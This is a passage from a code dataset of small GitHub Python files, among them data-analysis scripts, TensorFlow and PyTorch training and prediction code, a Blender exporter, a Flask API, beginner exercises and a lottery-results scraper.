times in the 1990s\ncomputer_2000s = filter(df, [' computer '])[(df['air_date'] > '2000-01-01') & (df['air_date'] < '2009-12-31')]\n# Asked 167 times in the 2000s\n\n# What's the most answered answered in relation to a question about computer\ncomputer = filter(df, [' computer ']).groupby('answer').show_number.count().reset_index().sort_values(by='show_number', ascending=False)\n\n# Relation between round and the categories\nround_categories = df.groupby(['round', 'category']).show_number.count().reset_index().sort_values(by=['round', 'show_number'], ascending=False)","repo_name":"cc-visionary/Codecademy-ProjectsXChallenges","sub_path":"Python/this_is_jeopardy/jeopardy.py","file_name":"jeopardy.py","file_ext":"py","file_size_in_byte":1661,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"7932585953","text":"\"\"\"Train ILSVRC2017 Data using homemade scripts.\"\"\"\n\nimport cv2\nimport os\nimport math\nimport tensorflow as tf\nfrom multiprocessing import Process, Queue\n\nimport os\nimport sys\nFILE_DIR = os.path.dirname(__file__)\nsys.path.append(FILE_DIR + '/../')\n\nimport config as cfg\nfrom img_dataset.ilsvrc2017_cls_multithread import ilsvrc_cls\nfrom yolo2_nets.darknet import darknet19\nfrom yolo2_nets.net_utils import get_ordered_ckpts\nfrom utils.timer import Timer\n\nslim = tf.contrib.slim\n\n\ndef get_validation_process(imdb, queue_in, queue_out):\n \"\"\"Get validation dataset. Run in a child process.\"\"\"\n while True:\n queue_in.get()\n images, labels = imdb.get()\n queue_out.put([images, labels])\n\n\nimdb = ilsvrc_cls('train', data_aug=True, multithread=cfg.MULTITHREAD)\nval_imdb = ilsvrc_cls('val', batch_size=64)\n# set up child process for getting validation data\nqueue_in = Queue()\nqueue_out = Queue()\nval_data_process = Process(target=get_validation_process,\n args=(val_imdb, queue_in, queue_out))\nval_data_process.start()\nqueue_in.put(True) # start getting the first batch\n\nCKPTS_DIR = cfg.get_ckpts_dir('darknet19', imdb.name)\nTENSORBOARD_TRAIN_DIR, TENSORBOARD_VAL_DIR = cfg.get_output_tb_dir(\n 'darknet19', imdb.name)\n\n\ninput_data = tf.placeholder(tf.float32, [None, 224, 224, 3])\nlabel_data = tf.placeholder(tf.int32, None)\nis_training = tf.placeholder(tf.bool)\n\nlogits = darknet19(input_data, is_training=is_training)\nloss = tf.nn.sparse_softmax_cross_entropy_with_logits(\n labels=label_data, logits=logits)\nloss = tf.reduce_mean(loss)\n\nupdate_ops = tf.get_collection(tf.GraphKeys.UPDATE_OPS)\nwith tf.control_dependencies(update_ops):\n # train_op = tf.train.AdamOptimizer(0.0005).minimize(loss)\n train_op = tf.train.MomentumOptimizer(0.001, 0.9).minimize(loss)\n\ncorrect_pred = tf.equal(tf.cast(tf.argmax(logits, 1), tf.int32), label_data)\naccuracy = tf.reduce_mean(tf.cast(correct_pred, tf.float32))\n\ntf.summary.scalar('loss', loss)\ntf.summary.scalar('accuracy', accuracy)\n\n######################\n# Initialize Session #\n######################\ntfconfig = tf.ConfigProto(allow_soft_placement=True)\ntfconfig.gpu_options.allow_growth = True\nsess = tf.Session(config=tfconfig)\n\nmerged = tf.summary.merge_all()\ntrain_writer = tf.summary.FileWriter(TENSORBOARD_TRAIN_DIR)\nval_writer = tf.summary.FileWriter(TENSORBOARD_VAL_DIR)\n\n# # initialize variables, assume all vars are new now\n# init_op = tf.global_variables_initializer()\n# sess.run(init_op)\n# load previous models\nckpts = get_ordered_ckpts(sess, imdb, 'darknet19')\nvariables_to_restore = slim.get_variables_to_restore()\n\n# # change optimizer\n# print('Initializing variables for the new optimizer')\n# optimzer_vars = [var for var in tf.global_variables()\n# if \"Momentum\" in var.name]\n# init_op = tf.variables_initializer(optimzer_vars)\n# sess.run(init_op)\n# for var in optimzer_vars:\n# if var in variables_to_restore:\n# variables_to_restore.remove(var)\n\nprint('Restorining model snapshots from {:s}'.format(ckpts[-1]))\nold_saver = tf.train.Saver(variables_to_restore)\nold_saver.restore(sess, str(ckpts[-1]))\nprint('Restored.')\nfnames = ckpts[-1].split('_')\nold_epoch = int(fnames[-1][:-5])\nimdb.epoch = old_epoch + 1\n\n# simple model saver\ncur_saver = tf.train.Saver()\n\nT = Timer()\nfor i in range(imdb.total_batch * 10 + 1):\n T.tic()\n images, labels = imdb.get()\n _, loss_value, acc_value, train_summary = sess.run(\n [train_op, loss, accuracy, merged], {input_data: images, label_data: labels, is_training: 1})\n _time = T.toc(average=False)\n\n print('epoch {:d}, iter {:d}/{:d}, training loss: {:.3}, training acc: {:.3}, take {:.2}s'\n .format(imdb.epoch, (i + 1) % imdb.total_batch,\n imdb.total_batch, loss_value, acc_value, _time))\n\n if (i + 1) % 25 == 0:\n T.tic()\n val_images, val_labels = queue_out.get()\n val_loss_value, val_acc_value, val_summary = sess.run(\n [loss, accuracy, merged], {input_data: val_images, label_data: val_labels, is_training: 0})\n _val_time = T.toc(average=False)\n print('###validation loss: {:.3}, validation acc: {:.3}, take {:.2}s'\n .format(val_loss_value, val_acc_value, _val_time))\n queue_in.put(True)\n\n global_step = imdb.epoch * imdb.total_batch + (i % imdb.total_batch)\n train_writer.add_summary(train_summary, global_step)\n val_writer.add_summary(val_summary, global_step)\n\n if (i % (imdb.total_batch * 2) == 0):\n save_path = cur_saver.save(sess, os.path.join(\n CKPTS_DIR,\n cfg.TRAIN_SNAPSHOT_PREFIX + '_epoch_' + str(imdb.epoch - 1) + '.ckpt'))\n print(\"Model saved in file: %s\" % save_path)\n\n# terminate child processes\nif cfg.MULTITHREAD:\n imdb.close_all_processes()\nqueue_in.cancel_join_thread()\nqueue_out.cancel_join_thread()\nval_data_process.terminate()\n","repo_name":"wenxichen/tensorflow_yolo2","sub_path":"src/imagenet/imagenet_train_darknet.py","file_name":"imagenet_train_darknet.py","file_ext":"py","file_size_in_byte":4911,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"72"} +{"seq_id":"14855273961","text":"import json\n\nheros = []\nstats = []\nheros_stats = []\n\nwith open('heroes.json') as json_file:\n data = json.load(json_file)\n for p in data:\n element = {\n 'id': p['id'],\n 'name': p['name'],\n 'lore': p['lore'],\n 'attribute': p['attribute'],\n 'attackType': p['attackType'],\n 'wikiLink': p['wikiLink'],\n 'thumbnail': p['thumbnail'],\n 'icon': p['icon']\n # \"STR_Gain\": p['STR_Gain'],\n # \"AGI_Gain\": p['AGI_Gain'],\n # \"INT_Gain\": p['INT_Gain'],\n }\n heros.append(element)\n\nwith open('all_stats.json') as json_file:\n data = json.load(json_file)\n for p in data:\n element = {\n 'id': p['id'],\n \"STR_GAIN\": p['STR_GAIN'],\n \"AGI_GAIN\": p['AGI_GAIN'],\n \"INT_GAIN\": p['INT_GAIN'],\n \"TOTAL_GAIN\": p['TOTAL_GAIN'],\n \"RANGE\": p['RANGE'],\n \"MS\": p['MS'],\n \"BAT\": p['BAT'],\n \"AMR\": p['ARMOR'],\n \"DMG_MIN\": p[\"DMG_MIN\"],\n \"DMG_MAX\": p[\"DMG_MAX\"],\n \"AS\": p[\"ATTACKSPEED\"]\n }\n stats.append(element)\n\ni = 1\nwhile (i < 124):\n element = {\n 'id': heros[i]['id'],\n 'name': heros[i]['name'],\n 'lore': heros[i]['lore'],\n 'attribute': heros[i]['attribute'],\n 'attackType': heros[i]['attackType'],\n 'wikiLink': heros[i]['wikiLink'],\n 'thumbnail': heros[i]['thumbnail'],\n 'icon': heros[i]['icon'],\n \"STR_GAIN\": stats[i]['STR_GAIN'],\n \"AGI_GAIN\": stats[i]['AGI_GAIN'],\n \"INT_GAIN\": stats[i]['INT_GAIN'],\n \"TOTAL_GAIN\": stats[i]['TOTAL_GAIN'],\n \"RANGE\": stats[i]['RANGE'],\n \"MS\": stats[i]['MS'],\n \"BAT\": stats[i]['BAT'],\n \"wikiLink\": f'https://dota2.fandom.com/wiki/{name}',\n \"thumbnail\": f'./assets/thumbnails/{id}.png',\n \"icon\": f'./assets/icons/{id}.png'\n }\n heros_stats.append(element)\n i += 1\n\nwith open('heros_updated.json', 'w', encoding='utf-8') as f:\n json.dump(heros_stats, f, ensure_ascii=False, indent=4)","repo_name":"reynolj/DotaHeroGenerator","sub_path":"deprecated/mergeHeroesWithStat.py","file_name":"mergeHeroesWithStat.py","file_ext":"py","file_size_in_byte":2125,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"32639891539","text":"import cv2\nimport numpy as np\nfrom math import atan, isnan\n\n# updating chosen points on image\ndef update_points(img, refPt, strength=0.1, zoom=1.0):\n dest_img = np.zeros(img.shape, dtype=np.uint8)\n\n imageHeight, imageWidth, _ = img.shape\n \n halfWidth = imageWidth / 2\n halfHeight = imageHeight / 2\n \n correctionRadius = (imageWidth**2 + imageHeight**2)**0.5 / strength\n\n res_refPt = np.zeros(refPt.shape)\n\n for y in range(imageHeight):\n for x in range(imageWidth):\n newX = x - halfWidth\n newY = y - halfHeight\n\n distance = (newX**2 + newY**2)**0.5\n r = distance / correctionRadius\n \n theta = 0.0\n if r == 0:\n theta = 1\n else:\n theta = atan(r) / r\n\n sourceX = int(halfWidth + theta * newX * zoom)\n sourceY = int(halfHeight + theta * newY * zoom)\n \n dest_img[y, x] = img[sourceY, sourceX]\n #print(\"x, y: %d, %d\\nsourceX, sourceY: %d, %d\" % (x, y, sourceX, sourceY))\n # TODO optimize\n for i in range(len(refPt)):\n if (refPt[i] == [sourceX, sourceY]).all():\n res_refPt[i] = [y, x]\n \n return dest_img, res_refPt\n\n# just transform image\ndef proc(img, params):\n strength = params[0]\n zoom = params[1]\n\n if strength == 0.0:\n return img\n dest_img = np.zeros(img.shape, dtype=np.uint8)\n\n imageHeight, imageWidth, _ = img.shape\n \n halfWidth = imageWidth / 2\n halfHeight = imageHeight / 2\n \n correctionRadius = (imageWidth**2 + imageHeight**2)**0.5 / strength\n\n for y in range(imageHeight):\n for x in range(imageWidth):\n newX = x - halfWidth\n newY = y - halfHeight\n\n distance = (newX**2 + newY**2)**0.5\n r = distance / correctionRadius\n \n theta = 0.0\n if r == 0:\n theta = 1\n else:\n theta = atan(r) / r\n\n sourceX = int(halfWidth + theta * newX * zoom)\n sourceY = int(halfHeight + theta * newY * zoom)\n \n dest_img[y, x] = img[sourceY, sourceX]\n \n return dest_img\n\n# making list of lines [[p1, p2, p3, p4],...]\ndef make_lines_bypoints(refPt):\n refPt = np.reshape(refPt, (4, 4, 2))\n lines = []\n lines.extend(refPt)\n for i in range(4):\n line = []\n for j in range(4):\n line.append(refPt[j, i])\n lines.append(line)\n\n lines = np.asarray(lines)\n #print(lines)\n return lines\n\n# function for calcualting distance between point and line\ndef distance(line):\n p1 = line[0]\n p2 = line[1]\n p3 = line[2]\n p4 = line[3]\n\n d1 = abs((p4[1] - p1[1]) * p2[0] - (p4[0] - p1[0]) * p2[1] + p4[0] * p1[1] - p4[1] * p1[0]) /\\\n ((p4[1] - p1[1]) ** 2 + (p4[0] - p1[0]) ** 2) ** 0.5\n\n d2 = abs((p4[1] - p1[1]) * p3[0] - (p4[0] - p1[0]) * p3[1] + p4[0] * p1[1] - p4[1] * p1[0]) /\\\n ((p4[1] - p1[1]) ** 2 + (p4[0] - p1[0]) ** 2) ** 0.5\n\n return d1, d2\n\n# function for calculating standard deviation\ndef standard_dev(lines):\n ds = []\n for line in lines:\n d1, d2 = distance(line)\n #print(\"d1, d2 = %f, %f\" % (d1, d2))\n ds.append(d1)\n ds.append(d2)\n\n sum_ds = sum(ds)\n mo_ds = sum_ds / len(ds)\n ds = np.asarray(ds)\n st_dev = (np.sum(np.square(np.subtract(ds, mo_ds))) / ds.shape[0]) ** 0.5\n if isnan(st_dev):\n return 1.0 \n return st_dev\n\n\ndef undistortion(image):\n # list of points\n refPt = []\n # helps to find out where to make next point \n st_model = \"\\n - - - \\n - - - \\n - - - \\n - - - \\n\"\n # get coordinates of mouse cursor after clicking\n def get_coords(event, x, y, flags, param):\n # grab references to the global variables\n nonlocal refPt, image, st_model\n\n if event == cv2.EVENT_LBUTTONDOWN:\n refPt.append([x, y])\n cv2.rectangle(copy_image, (x-2, y-2), (x + 2, y + 2), (0, 0, 255), 3)\n # lighting next point\n st_model = st_model.replace(\" \", \"*\", 1)\n print(st_model)\n \n copy_image = np.copy(image)\n cv2.namedWindow(\"image\", cv2.WINDOW_NORMAL)\n cv2.setMouseCallback(\"image\", get_coords)\n # beginning process of choosing points on image\n # lighting first point\n st_model = st_model.replace(\" \", \"*\", 1)\n print(st_model)\n while True:\n cv2.imshow(\"image\", copy_image)\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n\n if len(refPt) != 16:\n raise BaseException(\"Wrong number of points(should be 16)\")\n\n refPt = np.asarray(refPt)\n\n # begining iterations\n lines = make_lines_bypoints(refPt)\n st_dev = standard_dev(lines)\n print(\"st_dev:\")\n print(st_dev)\n if st_dev <= 1.0:\n return (0.0, 1.0)\n strengths = [i/30 for i in range(1, 18, 2)]\n for strength in strengths:\n new_image, refPt = update_points(image, refPt, strength=strength, zoom=1.0)\n refPt = np.int32(refPt)\n image = new_image\n lines = make_lines_bypoints(refPt)\n st_dev = standard_dev(lines)\n print(st_dev)\n if st_dev <= 1.0:\n return (strength, 1.0)\n\n return (0.0, 1.0)\n\nif __name__ == \"__main__\":\n path = \"test_imgs/undist_test.jpg\"\n img = cv2.imread(path)\n strength = undistortion(img)\n new_image = proc(img, strength, 1.0)\n cv2.imshow(\"undistort\", new_image)\n key = False\n while not key:\n key = cv2.waitKey(1) & 0xFF == ord('q')\n cv2.destroyAllWindows()","repo_name":"Lavabar/Supervisor-Complete","sub_path":"1_calibration_v1.py","file_name":"1_calibration_v1.py","file_ext":"py","file_size_in_byte":5605,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"73850442151","text":"import bpy\nimport os\nimport json\nimport re\n\n# Define tags for identifying objects\nTAGS = [\"XXXX\", \"XXX\", \"XX\", \"X\"]\n\n# Get the directory and name of the blend file\nblend_dir = os.path.dirname(bpy.data.filepath)\nblend_name = bpy.path.basename(bpy.context.blend_data.filepath)\n\n# Extract the base name without the extension and version number\nmatch = re.match(r\"(.+)_V\\d+\", blend_name)\nif match:\n base_name = match.group(1)\nelse:\n base_name = os.path.splitext(blend_name)[0]\n\n# Create a folder for the output if it doesn't exist\noutput_dir = os.path.join(blend_dir, \"json\")\nos.makedirs(output_dir, exist_ok=True)\n\n# Create a dictionary to store the data\ndata = {}\n\n# Create a root container\nroot = {}\n\n# Loop through all the objects in the scene\nfor obj in bpy.context.scene.objects:\n # Check if the object's name contains one of the containing tags\n containing_tag = None\n for tag in TAGS:\n if tag in obj.name:\n containing_tag = tag\n print(f\"{obj.name} has tag {tag}\")\n break\n\n # If the object has a containing tag, add it to the root container\n if containing_tag:\n identifying_parent = obj.name.split(\"_\")[0]\n if identifying_parent not in root:\n root[identifying_parent] = {}\n root[identifying_parent][obj.name] = {}\n\n # Add attributes for the child objects (assets)\n for child in obj.children:\n child_name = child.name.replace(\"__\", \"_\")\n material_name = \"\"\n if child.data.materials:\n material_name = child.data.materials[0].name\n root[identifying_parent][obj.name][child_name] = {\n \"Mesh Name\": child_name,\n \"Mesh Asset\": f\"{child_name}.uasset\",\n \"Material\": f\"{material_name}.uasset\"\n }\n\n # If the object doesn't have a containing tag, add it to the root container only if its parent has a containing tag and it has children\n elif obj.parent and any(tag in obj.parent.name for tag in TAGS) and obj.children:\n identifying_parent = obj.parent.name.split(\"_\")[0]\n if identifying_parent not in root:\n root[identifying_parent] = {}\n root[identifying_parent][obj.parent.name] = {}\n\n # Add attributes for the child objects (assets)\n for child in obj.children:\n child_name = child.name.replace(\"__\", \"_\")\n material_name = \"\"\n if child.data.materials:\n material_name = child.data.materials[0].name\n root[identifying_parent][obj.parent.name][child_name] = {\n \"Mesh Name\": child_name,\n \"Mesh Asset\": f\"{child_name}.uasset\",\n \"Material\": f\"{material_name}.uasset\"\n }\n\n# Add the root container to the dictionary\ndata[\"root\"] = root\n\n# Create a versioned filename for the output\nversion_num = 1\noutput_base_name = f\"{base_name}_V\"\noutput_ext = \".json\"\noutput_filename = f\"{output_base_name}{version_num:02d}{output_ext}\"\noutput_path = os.path.join(output_dir, output_filename)\n\nwhile os.path.exists(output_path):\n version_num += 1\n output_filename = f\"{output_base_name}{version_num:02d}{output_ext}\"\n output_path = os.path.join(output_dir, output_filename)\n\n# Write the data to a JSON file\nwith open(output_path, \"w\") as jsonfile:\n json.dump(data, jsonfile, indent=4)\n\nprint(f\"Data exported to {output_path}\")\n","repo_name":"ThatPipelineGuy/Pipeline","sub_path":"DCCS/Blender/data/hierarchy_export.py","file_name":"hierarchy_export.py","file_ext":"py","file_size_in_byte":3401,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"14137853742","text":"from collections import UserList, UserString\n\n\nprint(\"Hello, world\")\nx = 4 # x is of type int\nx = \"Sally\" # x is now of type str\nprint(x)\n\nx = 5\ny = \"John\"\nprint(type(x))\nprint(type(y))\n\nx, y, z = \"Orange\", \"Banana\", \"Cherry\"\nprint(x)\nprint(y)\nprint(z)\n\nx = y = z = \"Orange\"\nprint(x)\nprint(y)\nprint(z)\n\nfruits = [\"apple\", \"banana\", \"cherry\"]\nx, y, z = fruits\nprint(x)\nprint(y)\nprint(z)\n\nvar1 = x = 5\nvar2 = y = 2\nprint(x)\nprint(y)\n\nvar3 = z = x + y\nprint(z)\n\nGreeting = \"Hello\"\nname = \"Aziza!\"\nprint( Greeting, name)\n\nvar1 = 7\nprint(\"value 1:\", var1)\n\nvar1 = 99\nprint(\"value 2:\", var1)\n\nvar1 = \"You got the point\"\nprint(\"value 3:\", var1)\n\n\na = 'int'\nb = 7\nc = False\nd = \"18.5\"\n# I removed the quotation mark so that d is now a float and not an string.\n# hashtag are used to add comments in your syntak that will not get excuted :) like these two lines.\nd = 18.5\nprint(type(a), type(b), type(c), type(d))\nprint(type(a))\nprint(type(b))\nprint(type(c))\nprint(type(d))\n\nx = b + d\nprint(x)\n# Python is fun!\n\n\n\nx = 5\n\nfor i in range(50):\n # do something here\n print(x * i)\n\n\narr = [\"Coen\", \"Casper\", \"Joshua\", \"Abdessamad\", \"Saskia\"]\n\nfor z in arr:\n print(z) \n\n\n\n\nimport random\n\nfor k in range(5):\n print(random.randint(0,100))\n\n # defining a function, which then takes the value x provided and prints the string with that value in correct spot.\n\ndef my_function(F):\n print(\" Hello \" + F)\n\nF = \"world !\"\nF = \"Aziza !\"\n\n\nmy_function(F)\n\ndef av(x, y):\n \treturn( (x + y) / 2)\nx = 128\ny = 255\nz = av(x, y)\n\nprint(\"The average of\", x, \"and\", y, \"is\", z)\n\nGroup1 = [\"Aziza\", \"Matais\", \"Mylene\"]\nfor x in Group1:\n print(x)\n\n\nL = [1, 5, 1, 3, 7, 9]\n\nfor x in range(len(L)):\n if L[x] == L[len(L)-1]:\n print(L[x] + L[0])\n else:\n print(L[x] + L[x + 1])\n\nimport csv\n\nStudents_dict = {\n \"First name: \": \"Ann\",\n \"Last name: \": \"Smith\",\n \"Job title: \":\"Student\",\n \"Company: \": \"Techgrounds\"\n}\n# Create key, value pairs to link user input to the dictionary\nStudents_dict[\"First name: \"] = input(\"FirstName:\")\nStudents_dict[\"Last name: \"] = input(\"LastName:\")\nStudents_dict[\"Job title: \" ] = input(\"jobtitle:\" )\nStudents_dict[\"Company: \" ] = input(\"company:\" )\n\nfor key, value in Students_dict.items():\n print(key, value)","repo_name":"techgrounds/cloud-6-repo-AzizaAdam","sub_path":"codes.gitignore/Python-Testfile1.py","file_name":"Python-Testfile1.py","file_ext":"py","file_size_in_byte":2264,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"28530166208","text":"import os\nfrom flask import Flask, request\nfrom flask_cors import CORS\nfrom pymongo import MongoClient\n\nclient = MongoClient('mongodb://mongodb:27017', connect=False)\n\ndb = client.newsdb\n\n\ndef create_app(test_config=None):\n app = Flask(__name__)\n CORS(app)\n\n @app.route('/hello')\n def hello():\n return 'Hello world!'\n\n from api.routes import news\n app.register_blueprint(news.bp)\n\n return app\n\n\ndef get_arg(key, default):\n arg = request.args.get(key)\n return arg if arg else default\n","repo_name":"javieroc/news_api","sub_path":"api/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":517,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"38969596215","text":"'''\n 접근법\n stack 구현\n \n'''\nimport sys\ninput = sys.stdin.readline\n\ns = list(input().rstrip())\n\nanswer = ''\nstack = []\nflag = False\nfor i in s:\n if i == '<':\n answer += ''.join(stack[::-1])\n stack = []\n flag = True\n answer += i\n elif i == '>':\n answer += i\n flag = False\n \n # 문자 \n elif i.isalpha():\n if flag:\n answer += i\n else:\n stack.append(i)\n # 숫자\n elif i.isdigit():\n stack.append(i) \n \n # 공백\n else:\n if flag:\n answer += i\n else:\n answer += ''.join(stack[::-1])\n answer += ' '\n stack = []\nif stack:\n answer += ''.join(stack[::-1])\nprint(answer.lstrip()) \n \n ","repo_name":"chaemj97/Algorithm","sub_path":"2023년/백준_실버3_17413_단어_뒤집기_2.py","file_name":"백준_실버3_17413_단어_뒤집기_2.py","file_ext":"py","file_size_in_byte":792,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"16468827417","text":"import cv2\nimport torch\nimport torchvision\nimport numpy as np\nimport PIL\nimport matplotlib.pyplot as plt\n\ndef predict(img):\n\n test_transforms = torchvision.transforms.Compose([\n torchvision.transforms.Resize(480),\n torchvision.transforms.CenterCrop(224),\n torchvision.transforms.ToTensor(),\n torchvision.transforms.Normalize(mean=[0.485, 0.456, 0.406],\n std=[0.229, 0.224, 0.225])\n ])\n\n img = test_transforms(img)\n imgs = img.unsqueeze(0)\n\n checkpoint = torch.load(\"C:\\dev\\Fingers\\model_fingers_e7_l0.0040166958173116045.pth\", map_location=\"cpu\")\n model = torchvision.models.vgg11_bn(pretrained = False)\n model.classifier[-1] = torch.nn.Linear(model.classifier[3].out_features, 12)\n model.load_state_dict(checkpoint)\n model.eval()\n preds = torch.exp(torch.nn.functional.log_softmax(model(imgs), 1))\n torch.argmax(preds, 1)\n\n idx_to_class = {0: '0 - Esquerda',\n 1: '0 - Direita',\n 2: '1 - Esquerda',\n 3: '1 - Direita',\n 4: '2 - Esquerda',\n 5: '2 - Direita',\n 6: '3 - Esquerda',\n 7: '3 - Direita',\n 8: '4 - Esquerda',\n 9: '4 - Direita',\n 10: '5 - Esquerda',\n 11: '5 - Direita'\n }\n\n prediction = idx_to_class[torch.argmax(preds[0]).item()]\n print(\"\\nResultado:\", prediction)\n return prediction\n\n #k = cv2.waitKey(30) & 0xff\n #if k == 27:\n # break\n ","repo_name":"vbrodrigues/fingers-classification-flask-api","sub_path":"predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":1641,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"8877456610","text":"import socket\nimport sys\n \n \ndef Main():\n # local host IP '127.0.0.1'\n host = '127.0.0.1'\n #Aqui obtendrás las variables como ip y puerto\n print('The list of arguments without file name: ', sys.argv[1:])\n # Define the port on which you want to connect\n\n port = 1234\n \n s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n \n # connect to server on local computer\n s.connect((host,port))\n \n rondas = 10\n while True:\n #mostrarás y pediras el numero de rondas y lo enviarás\n # message sent to server\n s.send(rondas.encode('ascii'))\n \n # message received from server\n data = s.recv(1024)\n \n # print the received message\n # here it would be a reverse of sent message\n print('Received from the server :',str(data.decode('ascii')))\n \n # ask the client whether he wants to continue\n ans = input('\\nDo you want to continue(y/n) :')\n if ans == 'y':\n continue\n else:\n break\n # close the connection\n s.close()\n \nif __name__ == '__main__':\n Main()","repo_name":"Sianats/Practicas","sub_path":"client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":1085,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"22261989985","text":"# -*- coding: utf-8 -*-\n''' ---------------------------------------\n 程序:Lottery3D.py\n 版本:Vincent © 1.0\n 作者:vincentlz\n 日期:2017/9/8 10:58\n 环境:Python 3.6 PyCharm\n 简介:\n ---------------------------------------\n# code is far away from bugs with the god animal protecting\n I love animals. They taste delicious.\n ┏┓ ┏┓\n ┏┛┻━━━┛┻┓\n ┃ ☃ ┃\n ┃ ┳┛ ┗┳ ┃\n ┃ ┻ ┃\n ┗━┓ ┏━┛\n ┃ ┗━━��┓\n ┃ 神兽保佑 ┣┓\n ┃ 永无BUG! ┏┛\n ┗┓┓┏━┳┓┏┛\n ┃┫┫ ┃┫┫\n ┗┻┛ ┗┻┛'''\n \nimport urllib.request\nimport re\nimport xlwt\n\n#定义一个函数,获取开奖页面html源码\ndef get_3d_html():\n #生成页码列表,这里显示的是前12页的源码\n page_num=range(1,14)\n b=''\n #循环获取\n for page in page_num:\n #通过分析链接页码拼接\n url='http://kaijiang.zhcw.com/zhcw/html/3d/list_'+str(page_num[page-1])+'.html'\n #打开链接\n a=urllib.request.urlopen(url)\n #读取\n html=a.read()\n #转码\n html=html.decode('utf-8')\n b=b+html\n return b\n# print(get_3d_html())\n#构建正则提取需要的数据\ndef get_3d_num():\n html=get_3d_html()\n reg=re.compile(r'.*?'\n r'(.*?).*?'\n r'(.*?).*?'\n r'(.*?).*?(.*?).*?(.*?)',re.S)\n it=re.findall(reg,html)\n return it\n# print(get_3d_num())\n#定义excel函数,参数为get_3d_num()获取到的数据\ndef excel_create(ceshi):\n newTable='fucai_3d.xls'\n wb=xlwt.Workbook(encoding='utf-8')\n ws=wb.add_sheet('test1')\n headData=['开奖日期','期号','百位','十位','个位']\n for col in range(0,5):\n ws.write(0,col,headData[col])\n\n index=1\n for j in ceshi:\n for i in range(0,5):\n # print(j[i])\n ws.write(index,i,j[i])\n index +=1\n\n wb.save(newTable)\n\nif __name__=='__main__':\n w=get_3d_num()\n excel_create(w)\n\n#最频繁出现概率最高的数字\ndef analyze_popu_nums(w):\n import collections\n all_nums=[]\n bw_nums=[]\n sw_nums=[]\n gw_nums=[]\n for each in w:\n for n in each[-3:]:\n all_nums.append(n)\n bw_nums.append(each[2])\n sw_nums.append(each[3])\n gw_nums.append(each[4])\n\n print('全年最火的三个数:',collections.Counter(all_nums).most_common(3))\n print('百位最火的三个数:',collections.Counter(bw_nums).most_common(3))\n print('十位最火的三个数:',collections.Counter(sw_nums).most_common(3))\n print('个位最火的三个数:',collections.Counter(gw_nums).most_common(3))\n print('-----------------------------------------------------------------')\n\n#分析每期重复出现的数字概率,这个没理解清楚\ndef duplicat_num(w):\n dup_count=0\n for each in w:\n if len(set(each[-3:]))<3:\n dup_count += 1\n print(dup_count)\n dup_percet=round(dup_count/len(w),4)\n print('duplicate num percent:{}%'.format(float(dup_percet)*100))\n\n#最后记得要调用函数,不然没有分析数据\nanalyze_popu_nums(w)\nduplicat_num(w)","repo_name":"Vincentlz/FuCai3D","sub_path":"Lottery3D.py","file_name":"Lottery3D.py","file_ext":"py","file_size_in_byte":3557,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"7062204075","text":"class Solution:\n def isPalindrome(self, s: str) -> bool:\n t = ''\n for i in s:\n if i.lower() in 'abcdefghijklmnopqrstuvwxyz01234567890':\n t+=i.lower()\n l = 0\n r = len(t) - 1\n while l < r:\n if t[l] != t[r]:\n return False\n l+=1\n r-=1\n return True","repo_name":"nadeemakhter0602/LeetCode","sub_path":"Valid Palindrome/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":362,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"27691962022","text":"\n# A X rock 1, B Y paper 2, C Z scissors 3\n\n# A X each 4\n# B X one wins gets 8 two gets 1\n# C X one loses gets 3 two gets 7\n# A Y one loses gets 1 two gets 8\n# A Z one wins get 7 two gets 3\n# B Z one loses gets 2 two gets 9\n# B Y each get 5\n# C Z each get 6\n# C Y one wins gets 9 two gets 2\ntotalScore=0\nscoreOne=scoreTwo=0\nf= open(\"input.txt\", 'r')\nfor line in f:\n print(\"line\",line[0], line[2])\n if line[0] == 'A': \n if line[2] == 'X':\n scoreOne = scoreTwo = 4\n elif line[2]=='Y': \n scoreOne=1\n scoreTwo=8\n elif line[2]=='Z':\n scoreOne=7\n scoreTwo=3\n \n elif line[0]=='B':\n if line[2] == 'X':\n scoreOne=8\n scoreTwo=1 \n\n elif line[2]=='Y': \n scoreOne=scoreTwo=5\n\n elif line[2]=='Z':\n scoreOne=2\n scoreTwo=9\n \n elif line[0] == 'C':\n \n if line[2] == 'X':\n scoreOne = 3\n scoreTwo = 7\n\n elif line[2]=='Y': \n scoreOne=9\n scoreTwo=2\n\n elif line[2]=='Z':\n scoreOne=scoreTwo=6\n\n else:\n print(\"error\")\n\n else:\n print(\"error\") \n totalScore=scoreTwo+totalScore\n\n #print(\"scoreOne\", scoreOne, \"scoreTwo\", scoreTwo)\n print(\"totalScore\", totalScore)","repo_name":"gsaini26/AdventOfCode","sub_path":"elf2a.py","file_name":"elf2a.py","file_ext":"py","file_size_in_byte":1348,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"71212419113","text":"'''Not yet implemented, only adding as a potential feature.'''\n\nimport pandas as pd\nfrom datetime import datetime\nimport socket\n\n#...in app.py in def demo_customized_chatbot() where\n# we process the question and response...\n\ndef append_user_questions():\n '''Collects info from user'''\n # Load existing data\n try:\n df = 